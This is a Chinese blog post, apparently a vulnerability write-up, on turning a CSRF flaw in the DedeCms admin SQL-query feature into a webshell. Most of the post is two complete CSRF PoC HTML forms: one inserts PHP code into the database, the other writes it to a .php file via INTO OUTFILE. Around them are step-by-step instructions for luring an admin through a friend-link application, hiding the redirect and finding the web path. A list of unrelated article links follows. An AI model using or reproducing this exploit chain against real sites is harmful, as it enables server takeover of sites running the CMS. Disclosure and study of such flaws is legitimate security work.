我是如何通过CSRF拿到Shell的
织梦内容管理系统(DedeCms) 以简单、实用、开源而闻名,是国内最知名的PHP开源网站管理系统,也是使用用户最多的PHP类CMS系统,在经历多年的发展,目前的版本无论在功能,还是在易用性方面,都有了长足的发展和进步,DedeCms免费版的主要目标用户锁定在个人站长,功能更专注于个人网站或中小型门户的构建,当然也不乏有企业用户和学校等在使用本系统。
最近我在搭建这个系统的时候偶然间发现了一个有趣的现象,织梦的后台竟然有一个可以直接执行SQL语句的功能,出于职业敏感,能直接执行SQL语句的地方往往会有一些漏洞。又经过一番查找发现了它后台存在一个CSRF的漏洞,一般情况下像这种漏洞都是不怎么能引起人们的关注的,毕竟是要通过交互才能起作用,而且起的作用还不大。以为到此就结束了吗?并不是。
这里根本形不成一个有效的攻击链,不过我又发现了一个很有意思的地方,这个cms是可以在前台直接提交友链申请的,那么问题来了?你提交了友链申请管理员审核的时候怎么可能不去浏览一下你的网站。于是有了下面的一套getshell的流程。
受影响的版本<=官方最新版本(V57UTF8SP2)这是一个0day哦!!
实验环境 :win10,wamp
1.首先我们构造一个向数据库中插入SHELL语句的恶意页面
(这里我多次清除cookie,多次关闭浏览器进行测试发现,该页面的效果不受其他因素影响均可正常执行),这段代码的作用就是像数据库中插入我们的shell code。
页面的代码如下:
<html> <!-- CSRF PoC - generated by Burp Suite Professional -->
<body> <form action="http://127.0.0.1/dedecms/dede/sys_sql_query.php" method="POST">
<input type="hidden" name="dopost" value="query" />
<input type="hidden" name="querytype" value="2" />
<input type="hidden" name="sqlquery" value="INSERT INTO dede_flink(id,sortrank,url,webname,msg,email,logo,dtime,typeid,ischeck)VALUES('1','1','www.baidu.com','1','<?php phpinfo();?>','1','1','1','1','1');" />
<input type="hidden" name="imageField.x" value="42" />
<input type="hidden" name="imageField.y" value="17" />
<input type="submit" value="Submit request" />
</form> </body>
</html>
2.此时我将该页面放置在我自己的服务器上
这里就可以随便放置一个地方,为了更加形象,你可以在页面上做一些操作,比如加上JS代码使得管理员访问页面的时候不会跳转,这样更神不知鬼不觉了。

3.然后我去受害网站上提交一个友链申请
将我自己网站上的恶意页面链接填入。这个链接直接对应你构造好的恶意页面。

4.然后提交,等待管理员审核
管理员审核友链时定会查看友链所链接的内容。(管理员既然可以看到该链接证明此时一定处于登陆状态)
5.只要是管理员查看了我们申请友链的链接那么就触发了恶意代码的执行
此时我们可以看到数据库中被插入了恶意代码。这里的代码可以自定义,根据你想做的操作自定义就可以了。这里我就是做实验,就是用了<?php phpinfo() ?>

6.此时无论管理员通过或者是不通过,我们的代码已经插入
此时我们构造生成shell的恶意页面,页面代码如下,构造完成之后同样放在我们自己的服务器上。(这里构造时,我们需要知道网站的路径,这里知道相对路径或者时绝对路径都是可以的。路径的获取方式:一个网站的搭建大多数采用 phpstudy wamp 或者原生态的在PHP下的www目录,这里很好猜测。或者直接请求一个网站上不存在的资源一般会爆出相对路径,或者去访问一篇文章分析路径,再或者用AWVS直接拿到路径,反正这里获取路径的方式特别多)
下面这段代码的作用是把我们刚刚插入的shell code生成一个php页面。
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body> <
form action="http://127.0.0.1/dedecms/dede/sys_sql_query.php" method="POST">
<input type="hidden" name="dopost" value="query" />
<input type="hidden" name="querytype" value="2" />
<input type="hidden" name="sqlquery" value="SELECT msg FROM dede_flink WHERE url="www.baidu.com" INTO OUTFILE "../../../../www/dedecms/21111.php"" />
<input type="hidden" name="imageField.x" value="38" />
<input type="hidden" name="imageField.y" value="15" />
<input type="submit" value="Submit request" />
</form>
</body></html>

7.此时我们如上步骤3所示,提交一个该页面的友链申请
当管理员查看该页面时触发代码的执行,在服务器端生成一个我们自定义名称的shell。然后我们去访问我们的SHELL。可以看到执行成功。


这就是在一次测试环境中找到的一个逻辑漏洞,有时候我们会经常发现一些微不足道的小漏洞之类的,单个的看起来是没有什么作用但是多个微不足道的小漏洞结合起来往往会收到超出预期的效果。
我是如何通过CSRF拿到Shell的的更多相关文章
- (二)Linux Shell编程——运算符、注释
2.7 Shell运算符 Bash 支持很多运算符,包括算数运算符.关系运算符.布尔运算符.字符串运算符和文件测试运算符.原生bash不支持简单的数学运算,但是可以通过其他命令来实现,例如 awk 和 ...
- Shell脚本传递带有空格的参数
在另一博文<Shell脚本实现DB2数据库表导出到文件>中实现了通过脚本实现将DB2数据库导出到文件,需要传入七个参数,最后一个是一个带有空格字符串,所以传入的时候有点问题,会自动识别空格 ...
- 用 shell 脚本做日志清洗
问题的提出 公司有一个用户行为分析系统,可以记录用户在使用公司产品过程中的一系列操作轨迹,便于分析产品使用情况以便优化产品 UI 界面布局.这套系统有点类似于 Google Analyse(GA),所 ...
- 网站统计中的数据收集原理及实现(share)
转载自:http://blog.codinglabs.org/articles/how-web-analytics-data-collection-system-work.html 网站数据统计分析工 ...
- 使用nginx lua实现网站统计中的数据收集
导读网站数据统计分析工具是各网站站长和运营人员经常使用的一种工具,常用的有 谷歌分析.百度统计和腾讯分析等等.所有这些统计分析工具的第一步都是网站访问数据的收集.目前主流的数据收集方式基本都是基于ja ...
- 2.html5的基本格式
分享完html语言的核心之后,是时候开始写了.理论上,只要符合格式要求,就算是用记事本也可以写.但是,这种蛋疼且生产力低下的行为还是少做的好,选一个适合自己的IDE才是上上之选,至于哪个合适自己,那就 ...
- laravel学习前期遇到的小知识点(1)
1. 目前我用的laravel 5.2.36版本web中间件成为全局中间件(不知道从5.2.26以上就改变了还是怎样,没有深究),也就是之前的版本路由里默认会有一个Route::group的web中间 ...
- 利用linux curl爬取网站数据
看到一个看球网站的以下截图红色框数据,想爬取下来,通常爬取网站数据一般都会从java或者python爬取,但本人这两个都不会,只会shell脚本,于是硬着头皮试一下用shell爬取,方法很笨重,但旨在 ...
- 【HTB系列】靶机Querier的渗透测试
出品|MS08067实验室(www.ms08067.com) 本文作者:大方子(Ms08067实验室核心成员) 总结与反思: 1.收集信息要全面 2.用snmp-check检查snmp目标是否开启服务 ...
随机推荐
- 前端 五——ajax
内容概要: 1.ajax的特点 2.基于JS的ajax 3.基于jQuery的ajax 1.特点: 局部刷新 异步传送(交互) 缺点: (1)无形中向服务器发送的请求次数太多,导致服务器压力增大. ( ...
- python之路 --- python模块初认识&数据类型
一.模块初识 首先,文件名不能和导入的模块名称一样.因为系统默认先从当前文件寻找模块名,如果文件名和导入的模块名称一样的话,就相当于自己调用自己,会找不到相应的方法的. sys模块 sys.path ...
- css各属性浏览器的兼容情况
- Leetcode 454.四数相加II
四数相加II 给定四个包含整数的数组列表 A , B , C , D ,计算有多少个元组 (i, j, k, l) ,使得 A[i] + B[j] + C[k] + D[l] = 0. 为了使问题简单 ...
- Game on Tree
D - Game on Tree Time limit : 2sec / Memory limit : 256MB Score : 1100 points Problem Statement Ther ...
- Android中当前墙纸Wallpaper存放的位置
最近想做个应用保存当前墙纸,找了一下,发现当前墙纸的位置在. /System/users/0/wallpaper 没有后缀.导出来修改一下名字就可以看到图标了.比如改为png. 但是,这个目录要求系统 ...
- 【bzoj4816】[Sdoi2017]数字表格 莫比乌斯反演
题目描述 Doris刚刚学习了fibonacci数列.用f[i]表示数列的第i项,那么 f[0]=0 f[1]=1 f[n]=f[n-1]+f[n-2],n>=2 Doris用老师的超级计算机生 ...
- [UOJ#276]【清华集训2016】汽水
[UOJ#276][清华集训2016]汽水 试题描述 牛牛来到了一个盛产汽水的国度旅行. 这个国度的地图上有 \(n\) 个城市,这些城市之间用 \(n−1\) 条道路连接,任意两个城市之间,都存在一 ...
- jenkins发送html测试报告
jenkins发送html测试报告 https://blog.csdn.net/galen2016/article/details/77975965/ <!DOCTYPE html> & ...
- codeforces 446C DZY Loves Fibonacci Numbers 数论+线段树成段更新
DZY Loves Fibonacci Numbers Time Limit:4000MS Memory Limit:262144KB 64bit IO Format:%I64d &a ...